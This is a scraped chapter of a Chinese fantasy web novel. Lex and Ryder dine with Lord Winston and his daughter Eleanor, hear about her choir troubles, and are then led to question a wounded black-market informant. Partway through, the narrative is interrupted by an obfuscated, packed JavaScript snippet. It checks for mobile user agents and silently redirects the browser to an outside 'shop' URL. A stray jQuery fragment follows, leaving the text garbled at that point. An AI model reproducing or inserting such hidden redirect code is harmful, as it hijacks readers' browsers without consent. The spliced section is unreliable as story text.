35.下水道之鼠【营养液加更】

作品:《会长可是很忙的[西幻]

    晚饭时间,与午饭不同的是,侍从邀请莱克斯与莱德前往餐厅用餐。


    推开餐厅的门,餐桌上水晶杯与银餐具被烛台照得闪闪发光,温斯顿领主与温斯顿小姐已经在座位上等候。


    “晚上好,莱克斯先生,莱德先生!”


    利奥波德坐在主位上朝他们点头致意,埃莉诺站起来,热情地向他们挥了挥小手。


    莱克斯恭敬地点头回礼,随即转向埃莉诺说道:“晚上好,温斯顿小姐。”


    “看上去,您的脸色好了很多,真为您感到高兴。我为客人们做了……参与制作了树莓布丁!试一试吧!”埃莉诺眨了眨蓝眼睛。


    在烛光的照耀下,她的金发如柔软的绸缎,脸颊色如蔷薇,笑得像个天使。


    莱克斯表现得受宠若惊:“能尝到小姐亲手参与制作的甜点,是我们的荣幸。”


    领主闻言,却拿手抵着嘴角咳了两下。不知为何,他抿着嘴角,朝两人投去一丝怜悯的目光。


    莱克斯心里忽然没了底。


    在厨师精心烹饪的餐点之后,埃莉诺的甜点——至少外表上看着很不错的树莓布丁粉墨登场。


    淡粉色的树莓牛奶布丁上浇了一层鲜红的树莓酱,一片薄荷叶放在顶端做装饰。甜点被盛在亮晶晶的玻璃器皿里,端上来时还冒着丝丝冷气。


    莱克斯拿着小银匙,稍显犹豫。


    心想小姐说只是参与了制作,如她这样的贵族千金大概率不会自己亲自制作果酱或者生火,通常会有侍女或仆从下手辅助,而她本人只需要完成搅拌布丁液、挑选合适的容器这样的小工作。


    就算难吃,又能难吃到哪里去呢?


    他下手,尝了一口——


    “您的手艺和您的笑容一样,都带着让人心情明媚的魔力!”


    努力咽下后,他闭着眼睛恭维了埃莉诺一番。


    “是吗?谢谢您的喜欢,莱克斯先生!”


    埃莉诺表情灿烂,莱克斯低头快速挖完了这一碗完全尝不出糖分的甜点。


    光明神啊,吃完这一份甜点,现在的莱克斯从脚趾到头发丝都被酸到炸的树莓酱给酸倒了。


    旁边莱德这个没良心的观察莱克斯良久,确信人类真的很喜欢这个,于是很好心地把自己那一份推到了他面前。


    满脸“慈爱”的莱德:“我只吃了一点点,你想要的话这里还有哦!”


    哦你个头!莱克斯与酸酸的树莓布丁无语凝噎。


    某位同样正在领主府养伤的人士抱着一大盆酸到家的树莓布丁:“阿嚏!”


    莱克斯盯着面前额外多出来的一碗树莓布丁,只觉得舌尖的酸意顺着喉咙窜到了太阳穴,正琢磨着拒绝莱德的“慈爱”,就见埃莉诺捧着自己的那份,皱着鼻子叹气。


    利奥波德以超凡的表情控制力,面不改色地吃完了女儿的布丁,目光落在她脸上:“怎么了蜜糖?遇到什么事了吗?”


    “不,爸爸,我想应该是我的问题。”埃莉诺一匙一匙舀着布丁,她想了一会,才慢慢说,“里奇他们说我的音调太高了,共鸣也不够。”


    “所以我就换到了后排,后排的视野也不错,我甚至能看到彩窗上的圣母像。”


    “里奇是谁?”莱克斯问道。


    “圣歌团的首席,高声部的,跟我同一个声部。”


    “首席啊。”


    莱克斯吃完莱德那份酸布丁,说:“也许他说的有道理,当面指出不足,比在背后议论要好得多。”


    他像是想起什么,弯起眼睛笑了笑:“我以前学射箭的时候,姿势经常出错,被骂了不知道多少次,后来改过来了,反而会感谢当初骂我的人。”


    “所以别太往心里去,下次唱好就是了。”


    埃莉诺垂着眼,嗯了一声,银匙刮着碗壁,把最后一点布丁碾成糊糊。


    利奥波德显然想得更多,但他只是拿手帕替女儿擦了擦嘴角的树莓果酱:“我记得他的年龄比你大不少,还在圣歌团里?”


    “是的,真奇怪,里奇既没有去教习院,也不去其他地方。”埃莉诺点点头。


    “听着亲爱的,其他人在圣歌团里一直专心练歌,声音的状态比你好,拥有更高的歌唱技巧是很正常的。”领主笑着说,“但也不用妄自菲薄,我的蜜糖,我知道你并没有浪费时间,因为你之前一直在准备魔法塔的招生考试,还顺利通过了不是吗?”


    “与其总是想这些,不如看看眼前的事。”


    利奥波德指着旁边莱克斯两人,问道:“庆典快到了,你的计划如何了?”


    埃莉诺眼前一亮,正要开口,此时老乔纳忽然敲门而入,走到主位旁附耳低语。


    利奥波德眼睫微垂,起身时面色未变,烛火在他镜片上跳了一下。


    “知道了,你先过去。”


    等乔纳的身影消失在门后,利奥波德放下餐巾,不急不徐地对女儿说:“蜜糖,爸爸有点事需要处理,一会再见。”


    “汉娜。”领主抬声唤道,保姆走上前来,“带小姐去她的房间。”


    门合上的瞬间,利奥波德脸上那层温和的笑意向被风吹散的薄雾,露出底下冷硬的轮廓。


    莱德还以为他在为埃莉诺的小事生气,出言调侃:“瞧瞧这副脸色,人类小孩还能出什么事?”


    “莱德先生恐怕还不太清楚圣歌团的规矩。”


    利奥波德慢条斯理地敲着桌面,语气带着一丝冰冷的玩味。


    “圣歌团只演唱献给神明的纯净之声,因此只招收被称为纯洁者的少年少女。一旦少年变声,生出胡须,或者少女迎来成长,便会被圣歌团除名。”


    “可最有趣的就在这里,那个首席,里奇,早就过了该变声的年纪,却依旧待在里面,你不好奇这是为什么吗?”


    “为什么?”莱德问道。


    莱克斯迟疑片刻:“因为……纯洁者都是具有魔法天赋的人,那个里奇的天赋条件有限,没能进入任何一家魔法学院?因此干脆留在圣歌团?或者,他只是热爱歌唱?”


    “谁知道呢?不过,我想我会知道的。”


    莱克斯微不可察地皱起了眉,劝说道:“以您的身份地位,与一个愚蠢的平民过不去反而失了身份,庆典即将到来,小姐正在兴头上,没有必要生事。”


    领主眼中的笑意淡得像一层薄冰,总觉得会有不好的事情发生。


    “为什么你会觉得这是一个平民在生事?施沃兹会长,再给你一个机会,别说那些掉价的蠢话。”


    “走吧。”他说,起身迈步,往门外走去,“有个客人值得见一面。”


    莱克斯跟上去,莱德不紧不慢地缀在后面。


    “什么客人?”


    利奥波德没有回头。“一只老鼠,来自下水道。”


    “……谜语人二号。”莱德压低声音,对着莱克斯悄悄话。


    -----------------


    穿过走廊,走进两道有守卫把守的大门,眼前是领主府西侧的问询室。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364713|199275||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    门推开时,一股封闭室内的潮湿味混合着血腥味扑面而来,莱德皱了下鼻子,不大乐意走进去。


    往里望去,房间不大,光线昏黄,中间摆着张粗木长桌,一头是老乔纳,另一头的椅子里蜷着一个瘦削的男人。


    此人衣衫破烂,半件上衣被泅成了深色,一时难以分辨是水还是血,侧腹包裹着一层新绷带,倒是不再往外渗血了。


    男人听到动静,抬起头,露出一张苍白阴沉的脸,眼窝深陷,颧骨高耸,嘴唇干裂起皮,简直像一条跳上岸边惨遭太阳暴晒的鱼。


    莱克斯感到很疑惑——晚上,琳斐尔城,怎么会有人受如此重的伤?又怎么会出现在领主府。


    他的双眼宛如一束聚焦的追光,紧盯着温斯顿,只是后者完全没给他任何眼神。


    温斯顿领主只是站在走廊,朝乔纳投去淡淡的一眼,径直走进隔壁房间,骑士便提起长剑,跟在领主身后。


    房门合拢,领主在座椅上从容落坐,对乔纳问道:“查清楚了吗?”


    乔纳疑惑的目光在莱德和莱克斯身上打转。


    “不必在意,乔纳。”利奥波德指了指身后的两人,“他们出现在这里,是我的邀请。”


    “明白了,老爷。”乔纳顿了顿,介绍起府上不请自来的另一位客人时,语气冷硬,带着对渣滓的天然鄙夷,“麦斯·茅斯,无业游民,拥有光辉的监牢履历——事实上,之前他已经被抓紧来好几次了。”


    “抓他进来的事,是谁办的?”


    “回老爷,是格林。”


    “把格林叫来问话。”


    乔纳面露疑惑:“可格林……”


    话音未落,门外传来笃笃的敲门声,一声低低的请示隔着门板飘进房间,正是格林的声音。


    “进。”


    门应声而开,轮椅从走廊阴影中被推出来,油灯的光一寸寸爬上那人的轮廓。


    格林坐在轮椅上,背脊仍挺得像把收鞘的剑。


    他比莱克斯记忆中瘦了许多,原本硬朗的面容被伤病削去血肉,颧骨在凹陷的脸颊上投下分明的阴影,愈显得眉骨高耸、鼻梁陡峭。


    两只狼耳完全收了回去,只剩银白的发丝从鬓角蔓延至额顶,与残留的棕褐交错,像是初雪覆在旧土上。


    握剑的手此时捧着几卷羊皮卷轴,正在微微发颤。


    “老爷。”格林坐在轮椅上朝利奥波德行礼,转动着轮椅进了房间。


    他同样对莱克斯和莱德两人在此处抱有疑惑,但还是决定以事务为先,忍住了询问的想法。


    利奥波德的目光从几卷羊皮卷轴上掠过,在他的指节上停了一瞬,又移开了。“乔纳说你经办过他入狱的卷宗,说说吧。”


    格林点头,将卷轴展开搁在膝上:“是,无业游民麦斯·茅斯,外号老鼠,是个黑市商人,以倒卖赃物和贩卖情报为生。两年前因伪造高级魔法道具在黑市贩卖而入狱,三个月前刚刚刑满。”


    “但这个人忽然出现在领主府门口,说要向我求救,是不是太荒谬了?”利奥波德往椅背上一靠,“乔纳,他都说了些什么?”


    乔纳说:“他说他要向领主府举报,有异教徒盯上了府上的秘银铠甲,打算趁庆典期间动手。”


    “而麦斯撞破了他们的阴谋,正在被他们追杀,请求领主府庇护!”


    房间里骤然安静。


    莱德的双眼亮了亮,又迅速被莱克斯按住手腕。


    少年道:“麦斯……可能在撒谎。”